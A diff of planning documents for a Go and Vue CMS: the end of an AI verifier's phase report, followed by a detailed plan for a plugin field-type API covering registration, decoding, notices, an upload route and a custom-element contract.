| 8 | Tests touch no UAT, network or shared DB | not violated | DryRun on DSN port 1; testcontainers for Postgres |
|
||||
| 9 | Tests not weakened | not violated | Refuse cases became strip cases under the accepted bluemonday decision, and the payload set grew to 35 |
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Line | Pattern | Severity | Impact |
|
||||
|------|------|---------|----------|--------|
|
||||
| (phase files) | - | TBD/FIXME/XXX/TODO/HACK | none found | - |
|
||||
| `docs/backend/lists-and-filters.md` | 62 | Docs claim a to-many sort uses "the text the list shows" but the display order is Preload order (WR-05) | ⚠️ Warning | A list sorted by categories can look out of order; docs inaccurate |
|
||||
| `../sm-grzybyfunkcjonalne-app/sm-grzybyfunkcjonalne-app` | - | 46 MB untracked, not-ignored binary in the host repo root (built 2026-10-10 00:50 local) | ℹ️ Info | Could be committed by accident; not part of any commit |
|
||||
| `.planning/phases/16.2-.../16.2-05-PLAN.md` (via ROADMAP line 1014) | - | Plans to cut "summercms tag v0.1.17", which 16.1 already used | ℹ️ Info | 16.2's release must pick the next free tag (v0.1.18) |
|
||||
| UAT Journal API | - | With no locale given (and with Accept-Language pl-PL), the API sets `golem15.translate.locale=en` although the default is pl and en has sort_order 1 | ℹ️ Info | Outside 16.1 scope; may be pre-existing translate behavior; worth a look |
|
||||
| `16.1-VALIDATION.md`, `16.1-SECURITY.md` | - | Still say "Docker-host suites pending" / sign-off unchecked | ℹ️ Info | Stale bookkeeping: the Docker-host suites have now passed |
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
#### 1. Install the hardened staging vhost (root)
|
||||
**Test:** Install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (host fc10094, 387d0f4) as the uat vhost, then run `nginx -t` and reload.
|
||||
**Expected:** The security headers and CSP Report-Only appear on UAT responses, the `/gfadmin` auth_basic exemption still holds, and the smoke still passes.
|
||||
**Why human:** It needs root on the server. Today the enabled vhost does not have CSP-RO.
|
||||
|
||||
#### 2. UAT posts list search
|
||||
**Test:** Search "cordyceps" in `/gfadmin/golem15/journal/posts`.
|
||||
**Expected:** Rows appear and no SQLSTATE 42703 shows up in the log.
|
||||
**Why human:** It needs basic auth and an admin login. The Go log does not record successful queries.
|
||||
|
||||
#### 3. UAT list state round trip (D-01)
|
||||
**Test:** Set a sort and a category filter. Go open post → back, then save-and-close, then rail navigation. Paste the URL in a new tab. Log out and back in.
|
||||
**Expected:** State is kept and visible in the URL. After logout and login the list opens unfiltered.
|
||||
**Why human:** It is an interactive flow. The earlier human report predates the v0.1.17 deploy.
|
||||
|
||||
#### 4. UAT post form locales and fields (D-03)
|
||||
**Test:** Open an imported post.
|
||||
**Expected:** `pl` is first, and title, slug, content and excerpt are filled.
|
||||
**Why human:** It is a visual check on real data.
|
||||
|
||||
#### 5. Judgment-tier prohibitions
|
||||
**Test:** Review the nine verdicts above.
|
||||
**Expected:** Accept or overturn each one.
|
||||
**Why human:** The verifier's verdicts are not authoritative.
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
There are no blocking gaps. Every roadmap criterion and plan must-have I could check automatically holds in the code, the tests (including the Docker-backed Postgres suites, which I re-ran), the tags and pushes, and the deployed UAT server (binary hash, smoke, log, SQL, public headers, post-64 footer). Two plan wordings were superseded by stricter post-review fixes, and both are recorded in an accepted decision note or a commit:
|
||||
- FormatHTML now strips unsafe markup with bluemonday instead of refusing it with a regex.
|
||||
- List-state keys are now scoped per admin.
|
||||
|
||||
Still open:
|
||||
- **Human items:** the root-only nginx vhost install, and the three UAT browser checks.
|
||||
- **WR-05:** a non-blocking warning. The docs sentence on to-many sort order is inaccurate.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-09T23:05:00Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,548 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/field_type_smoke_test.go
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/README.md
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/app/pluginAssets.ts
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/LoginView.vue
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/FormGrid.vue
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/field-types.md
|
||||
- docs/backend/forms.md
|
||||
autonomous: false
|
||||
requirements: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
|
||||
estimate:
|
||||
tokens: 140000
|
||||
raw_tokens: 140000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-11: a plugin registers a value-bearing admin field type under a short alias (pact.HasFormFieldTypes); boot fails with a message naming both owners when two plugins claim one alias, and fails when an alias equals a cabana core type (text, markdown, mlmarkdown, widget, partial and the rest of formFieldTypes)."
|
||||
- "D-12.1: a plugin-typed field accepts the general field keys plus the type's own Options keys; any other key, and any CheckOptions error, fails boot naming the field and the type."
|
||||
- "D-12.2 and D-10: a save runs the type's Decode inside the save transaction after the record is loaded, for the host value and for every non-default locale value of a translatable type, and stores the returned pact.FormFieldDecoded Value; a pact.FormFieldError is a 422 validation_failed on that field and nothing is written; any other plugin error is an opaque 500 without the plugin's text."
|
||||
- "D-10 (framework half, amended 2026-10-10): a Decode may return pact.FormFieldNotice values next to the value it stores (for example what a sanitizer removed); cabana localizes them in the request locale and answers the create or update with meta.notices [{field, locale, message}]; a save whose Decode calls returned no notice answers exactly today's JSON (no notices key); the admin SPA shows each notice under its field and in the saved toast, and reloads the stored value from the response into the form and the element."
|
||||
- "D-12.3: Show and the save response serve each plugin field through the type's Load (per locale for a translatable type)."
|
||||
- "D-12.4: a list column typed with a plugin alias shows the type's ListValue string."
|
||||
- "D-03 (server half): on update, a submitted value equal to the value the form was served for that field and locale is not decoded and not written, neither to the host column nor as a translation."
|
||||
- "D-14 and D-06: a translatable plugin type exchanges a locale to string map and is stored through cabana's existing ML lift, translation writer and hydrate path; a plugin implements no locale storage."
|
||||
- "Companion writes: Form hooks read the values a save actually wrote, per field and locale, through cabana.FieldWritesFromContext."
|
||||
- "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
|
||||
- "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
|
||||
- "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."
|
||||
artifacts:
|
||||
- path: "modules/pact/capabilities.go"
|
||||
provides: "FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError, HasFormFieldTypes"
|
||||
contains: "HasFormFieldTypes"
|
||||
- path: "modules/cabana/relation_field.go"
|
||||
provides: "RecordMeta.Notices and FieldNotice (the save response's meta.notices)"
|
||||
contains: "notices,omitempty"
|
||||
- path: "modules/cabana/field_type.go"
|
||||
provides: "per-boot field type registry, compile checks, decode/skip/load/list runner"
|
||||
contains: "compileFieldTypes"
|
||||
- path: "modules/cabana/field_type_upload.go"
|
||||
provides: "the cabana-owned field upload route"
|
||||
contains: "fieldUpload"
|
||||
- path: "modules/cabana/tx_context.go"
|
||||
provides: "FieldWrite, FieldWritesFromContext, WithFieldWrites"
|
||||
contains: "FieldWritesFromContext"
|
||||
- path: "admin/src/components/form/fields/PluginField.vue"
|
||||
provides: "generic plugin element host"
|
||||
contains: "summer-change"
|
||||
- path: "admin/src/app/fieldTypes.ts"
|
||||
provides: "global field-type asset loader"
|
||||
contains: "loadFieldTypes"
|
||||
- path: "docs/backend/field-types.md"
|
||||
provides: "plugin field type guide and element contract"
|
||||
contains: "HasFormFieldTypes"
|
||||
key_links:
|
||||
- from: "modules/cabana/http.go Activate"
|
||||
to: "modules/cabana/registry.go compileRegistry"
|
||||
via: "the registry built by compileFieldTypes(plugins) passed as a parameter (no package-level registry)"
|
||||
pattern: "compileFieldTypes"
|
||||
- from: "modules/cabana/crud.go save"
|
||||
to: "pact.FormFieldType Decode and Load"
|
||||
via: "decodePluginFields between loadRecord and lagoon.Fill inside the save transaction"
|
||||
pattern: "decodePluginFields"
|
||||
- from: "modules/cabana/crud.go save"
|
||||
to: "RecordResult.Meta.Notices (JSON meta.notices)"
|
||||
via: "localizeNotices over the FormFieldDecoded notices, after the transaction commits"
|
||||
pattern: "localizeNotices"
|
||||
- from: "admin/src/views/FormView.vue save"
|
||||
to: "FormField notice line and the saved toast"
|
||||
via: "noticeLines(result.data.meta.notices) passed through FormGrid like errors"
|
||||
pattern: "noticeLines"
|
||||
- from: "admin/src/main.ts and admin/src/views/LoginView.vue"
|
||||
to: "GET {api}/field-types"
|
||||
via: "loadFieldTypes next to loadNavigation"
|
||||
pattern: "loadFieldTypes"
|
||||
- from: "admin/src/components/form/fields/PluginField.vue"
|
||||
to: "POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"
|
||||
via: "summer-upload event handled by the SPA with the admin session"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "No package-level mutable field type registry in cabana: the registry is built per Activate and passed down."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never receives a token, a cookie, a function or a Vue instance; uploads go through the SPA and the cabana route only."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Existing core field types, the type: widget contract and the public behaviour of CompileForm do not change."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Framework READMEs and docs never name a consuming application or plugin; examples use blog or acme."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
|
||||
|
||||
## Revision 2026-10-10 (CONTEXT D-10 amended)
|
||||
|
||||
D-10 now strips instead of refusing, and an admin save must tell the admin what was removed. That report is a generic field-type capability, not Journal code in cabana: `Decode` returns `pact.FormFieldDecoded{Value, Notices}`, cabana localizes the notices and answers the save with `meta.notices`, and the SPA shows them and reloads the stored value. `pact.FormFieldError` (422) stays for values a type cannot accept at all, such as a non-string. The release tag named in Task 1 is now v0.1.18 or the next free v0.1.x, because 16.1 already tagged v0.1.17. Everything else in this plan is unchanged.
|
||||
|
||||
RESEARCH and PATTERNS were written before 16.1 replaced the Journal regex gate with bluemonday and before D-10 was amended. Where they say "CheckHTML refuses" or "no sanitizer", this plan's text wins.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
|
||||
- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
|
||||
- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
|
||||
- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
|
||||
|
||||
## Plan sizing note
|
||||
|
||||
The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.
|
||||
|
||||
## Source coverage audit (phase-wide)
|
||||
|
||||
| Source | ID | Item | Plan | Status |
|
||||
|---|---|---|---|---|
|
||||
| GOAL | — | Plugins register field types; Journal Blog Editor edits imported HTML losslessly | 01-06 | COVERED |
|
||||
| REQ | — | none mapped (ROADMAP "Requirements: TBD") | — | n/a |
|
||||
| CONTEXT | D-01 | WYSIWYG + source toggle on TipTap | 02 | COVERED |
|
||||
| CONTEXT | D-02 | HTML in content and content_html on admin save, both sanitized | 03 | COVERED |
|
||||
| CONTEXT | D-03 | Byte-preserving unless edited | 01 (server skip), 02 (element), 03, 05 (UAT), 06 | COVERED |
|
||||
| CONTEXT | D-04 | Text, images, tables, embeds, raw HTML block (raw block goes through the sanitizer) | 02, 03 | COVERED |
|
||||
| CONTEXT | D-05 | Embed placeholder; both policies extended only for the editor's own output, pinned by a corpus test; iframes still refused | 02 (corpus), 03 (Go policy), 04 (layer mirror), 06 | COVERED |
|
||||
| CONTEXT | D-06 | Translatable like mlmarkdown | 01, 03 | COVERED |
|
||||
| CONTEXT | D-07 | Markdown post opens with content_html | 03 | COVERED |
|
||||
| CONTEXT | D-08 | mlblogeditor replaces mlmarkdown for post content | 03 | COVERED |
|
||||
| CONTEXT | D-09 | Public write API unchanged | 03 | COVERED |
|
||||
| CONTEXT | D-10 | Strip, never refuse, on every locale for posts and categories; the save names what was removed; no goldmark on the admin path | 01 (notices), 03 (Journal strip), 05 (UAT), 06 | COVERED |
|
||||
| CONTEXT | D-11 | Short global alias, collision fails boot | 01 | COVERED |
|
||||
| CONTEXT | D-12 | pact interface: options, decode, load, list | 01 | COVERED |
|
||||
| CONTEXT | D-13 | Element loads globally, value contract, --c-* only | 01, 02 | COVERED |
|
||||
| CONTEXT | D-14 | Plugin registers ML variant through cabana lift/hydrate | 01, 03 | COVERED |
|
||||
| CONTEXT | D-15 | Generic schema shape, OpenAPI, TS, dist, README, docs | 01 | COVERED |
|
||||
| CONTEXT | D-16 | TipTap in a custom element, plugin JS build, committed dist | 02 | COVERED |
|
||||
| CONTEXT | D-17 | Layer expands embeds, new tag pinned in the app | 04, 05 | COVERED |
|
||||
| CONTEXT | D-18 | Image upload with alt and caption | 01 (route), 02 (UI), 03 (storage) | COVERED |
|
||||
| CONTEXT | D-19 | Category content uses blogeditor and is stripped like posts (the 422 gate is retired) | 03, 06 | COVERED |
|
||||
| TODO | — | cabana-plugin-registered-field-types | 01 | COVERED |
|
||||
| TODO | — | cabana-richeditor-field-type | 03 | COVERED |
|
||||
| TODO | — | journal-imported-html-admin-resave (and its test) | 03, 05, 06 | COVERED |
|
||||
| RESEARCH | P1 | Registry threaded through compile, no package global | 01 | COVERED |
|
||||
| RESEARCH | P2 | Decode/Load inside the tx, FieldError mapping, written-values accessor | 01 | COVERED |
|
||||
| RESEARCH | P3 | Two-layer untouched detection | 01, 02 | COVERED |
|
||||
| RESEARCH | P4 | Preservation-first schema and serializer | 02 | COVERED |
|
||||
| RESEARCH | P5 | Element contract, global CSS owner (Pitfall 8) | 01, 02 | COVERED |
|
||||
| RESEARCH | P6 | Journal integration, category not translatable | 03 | COVERED |
|
||||
| RESEARCH | P7 | Embed expansion after the sanitizer (last step at the v-html sink) | 04 | COVERED |
|
||||
| RESEARCH | P8 | Plugin JS build, no eval, injectCSS false, check-dist | 02 | COVERED |
|
||||
| RESEARCH | P9 | Collision-free upload route, OpenAPI + phase09Routes | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 7 | Non-default content_html companion write | 01 (accessor), 03 | COVERED |
|
||||
| RESEARCH | Pitfall 11 | No Docker: DryRun/unit smoke + human Docker-host gate | 05, 06 | COVERED |
|
||||
| RESEARCH | Security | Magic-byte image check on the editor upload | 03 | COVERED |
|
||||
| RESEARCH | OQ3 | Release scope (tags, bumps, UAT) | 04, 05 | COVERED |
|
||||
| DRIFT | 16.1 | bluemonday policy (`SanitizeHTML`, `FormatTranslation`, the `CheckHTML` predicate (reports any change)), layer sanitize-html mirror, v0.1.17 and layer v0.1.1 already tagged, post 64 re-saved without its style block | 01-06 (revision 2026-10-10) | COVERED |
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `pact.FormFieldType`, `pact.FormFieldValue`, `pact.FormFieldDecoded`, `pact.FormFieldNotice`, `pact.FormFieldUpload`, `pact.FormFieldUploadResult`, `pact.FormFieldError` (with `Error() string`), `pact.HasFormFieldTypes`.
|
||||
- `cabana.FieldWrite`, `cabana.FieldWritesFromContext`, `cabana.WithFieldWrites`, `cabana.CompileFormWithTypes`, `cabana.FieldTypeAssets`, `cabana.FieldTypesResponse`, `cabana.FieldUploadResponse`, `cabana.FieldNotice`, and the `RecordMeta.Notices` field (JSON `meta.notices`, omitted when empty).
|
||||
- `cabana.FormField` JSON keys `element`, `translatable`, `typeOptions` (Go fields `Element`, `Translatable`, `TypeOptions`).
|
||||
- Unexported: `fieldTypeRegistry`, `compileFieldTypes`, `readClientAssets`, `liftPluginValues`, `decodePluginFields`, `hydratePluginFields`, `servedFieldValue`, `isMLField`, `fieldUpload`, `fieldTypesList`, `withFieldWrites`, `localizeNotices`.
|
||||
- Routes: `GET {api}/field-types`, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`.
|
||||
- New files: `modules/cabana/field_type.go`, `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_smoke_test.go`, `admin/src/app/fieldTypes.ts`, `admin/src/components/form/fields/PluginField.vue`, `admin/src/components/form/fields/MLPluginField.vue`, `admin/tests/form/PluginField.test.ts`, `docs/backend/field-types.md`.
|
||||
- SPA exports: `loadFieldTypes`, `loadGlobalStyles`, `GLOBAL_STYLE_OWNER`, `rendererForField`, `isRegisteredField`, `isMLField`, `noticeLines`, `FIELD_CHANGE_EVENT`, `FIELD_UPLOAD_EVENT`, `FIELD_UPLOAD_RESULT_EVENT`; FormField and FormGrid gain a `notices` prop.
|
||||
- Smoke tests: `TestFieldTypeTracerSmoke`, `TestFieldTypeExpansionSmoke`.
|
||||
|
||||
<objective>
|
||||
Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 notices and refusal mapping, D-18 upload route).
|
||||
|
||||
Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type, and a type that changes a value on save (Journal strips unsafe HTML per D-10) can tell the admin what it changed.
|
||||
Output: the pact types, the cabana registry, compile, save (with notices), show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField, the global loader and the notice display, rebuilt dist, READMEs and docs.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
@.planning/todos/pending/cabana-plugin-registered-field-types.md
|
||||
|
||||
Concurrency (16.1 D-02): another session may edit `modules/`. Before each commit run `git status --porcelain -- modules admin docs scripts` and `git diff` on the files you touch; stage only files this task changed, by explicit path. Commits: no co-author tags; code and planning docs in separate commits.
|
||||
|
||||
No Docker here (RESEARCH Pitfall 11): `go test ./modules/cabana` without `-run` fails on the testcontainers suites. Use the named `-run` sets below; full Postgres-backed coverage is plan 06 on a Docker host.
|
||||
|
||||
<interfaces>
|
||||
Proposed pact surface (Task 1 confirms it; names are Claude's discretion within D-12):
|
||||
|
||||
```go
|
||||
// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
|
||||
type FormFieldType struct {
|
||||
Name string // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
|
||||
Element string // custom-element tag defined by Scripts, plugin prefix rule
|
||||
Translatable bool // value is a locale -> string map stored through cabana's translation writer
|
||||
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
|
||||
Styles []string // AdminFS paths under assets/ (.css), enabled on every admin page
|
||||
Options []string // the type's own fields.yaml keys
|
||||
CheckOptions func(options map[string]any) error `json:"-"` // optional
|
||||
Decode func(ctx context.Context, in FormFieldValue) (FormFieldDecoded, error) `json:"-"` // required
|
||||
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"` // optional
|
||||
ListValue func(value any) string `json:"-"` // optional
|
||||
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
|
||||
}
|
||||
type FormFieldValue struct {
|
||||
DB *gorm.DB // the save transaction (Decode) or the read transaction (Load)
|
||||
Record any // the loaded record on update, the new model on create
|
||||
Field string
|
||||
Options map[string]any // the field's typeOptions
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // true when Locale is the host-column locale (or the type is not translatable)
|
||||
Value any // submitted (Decode) or stored (Load); a string for a translatable type
|
||||
Translated func(attribute string) (string, bool, error) // exact read of another attribute of Record in Locale; nil when not translatable or no writer
|
||||
}
|
||||
// FormFieldDecoded is Decode's answer: Value is stored (a string for a
|
||||
// translatable type); Notices are non-blocking messages about it, such as what
|
||||
// a sanitizer removed. No notices means the save answers exactly as before.
|
||||
type FormFieldDecoded struct {
|
||||
Value any
|
||||
Notices []FormFieldNotice
|
||||
}
|
||||
// FormFieldNotice is one message for the admin. cabana localizes Message
|
||||
// (phrase key or text) in the request locale with Params; Count > 0 selects
|
||||
// the plural form (phrasebook Choice, :count set).
|
||||
type FormFieldNotice struct {
|
||||
Message string
|
||||
Params map[string]string
|
||||
Count int
|
||||
}
|
||||
type FormFieldUpload struct {
|
||||
DB *gorm.DB
|
||||
Record any // nil on the create form ({id} 0)
|
||||
Field string
|
||||
Options map[string]any
|
||||
Filename string
|
||||
Body io.Reader // already capped by http.body_limits.upload_bytes
|
||||
}
|
||||
type FormFieldUploadResult struct{ URL string }
|
||||
type FormFieldError struct{ Messages []string } // phrase keys or text; Error() joins them
|
||||
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType } // implemented by the plugin
|
||||
```
|
||||
|
||||
Proposed cabana surface:
|
||||
|
||||
```go
|
||||
type FieldWrite struct {
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // the value went to the host column
|
||||
Value any
|
||||
}
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool) // copy; false outside create/update
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context // for Form hook tests
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*FormSchema, error)
|
||||
// FormField gains: Element string `json:"element,omitempty"`, Translatable bool `json:"translatable,omitempty"`,
|
||||
// TypeOptions map[string]any `json:"typeOptions,omitempty"`, fieldType *compiledFieldType `json:"-"`
|
||||
type FieldNotice struct {
|
||||
Field string `json:"field"`
|
||||
Locale string `json:"locale,omitempty"` // set for a translatable type's value
|
||||
Message string `json:"message"` // already localized
|
||||
}
|
||||
// RecordMeta (relation_field.go) gains: Notices []FieldNotice `json:"notices,omitempty"`
|
||||
```
|
||||
|
||||
Save responses: `POST /{vendor}/{plugin}/{controller}` and `PUT .../{id}` keep `{"data":...,"meta":{"labels":...}}`; when a Decode returned notices, `meta` also carries `"notices":[{"field":"content","locale":"pl","message":"2 elements were removed: style, iframe"}]`. Without notices the JSON is byte-for-byte today's.
|
||||
|
||||
Routes (relative to `<prefix>/api/v1`):
|
||||
- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
|
||||
- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
|
||||
|
||||
Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
|
||||
- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
|
||||
- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
|
||||
- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
|
||||
- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
|
||||
|
||||
Existing code the executor builds on (read, do not re-derive):
|
||||
- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
|
||||
- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
|
||||
- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
|
||||
- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
|
||||
- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
|
||||
- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
|
||||
- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
|
||||
- `modules/cabana/relation_field.go`: `RecordMeta` (91), `RecordEnvelope`, `RecordResult`; `modules/cabana/crud.go`: `localizeForbidden` (the pattern for `localizeNotices`: request locale via `schemaLocale`, `translateKey`), `CRUDService.tr`; `modules/phrasebook/translator.go`: `Get(ctx, key, params)` and `Choice(ctx, key, count, params)`.
|
||||
- `admin/src/views/FormView.vue`: `adopt` (173, reloads the saved record into the form), `save` (315), the saved toast (337); `admin/src/components/form/FormGrid.vue` (47, `:errors` per field) and `FormField.vue` (the `errors` prop and error line): the path notices follow.
|
||||
- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
|
||||
- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Confirm the published pact field-type API before it is written (D-12)</name>
|
||||
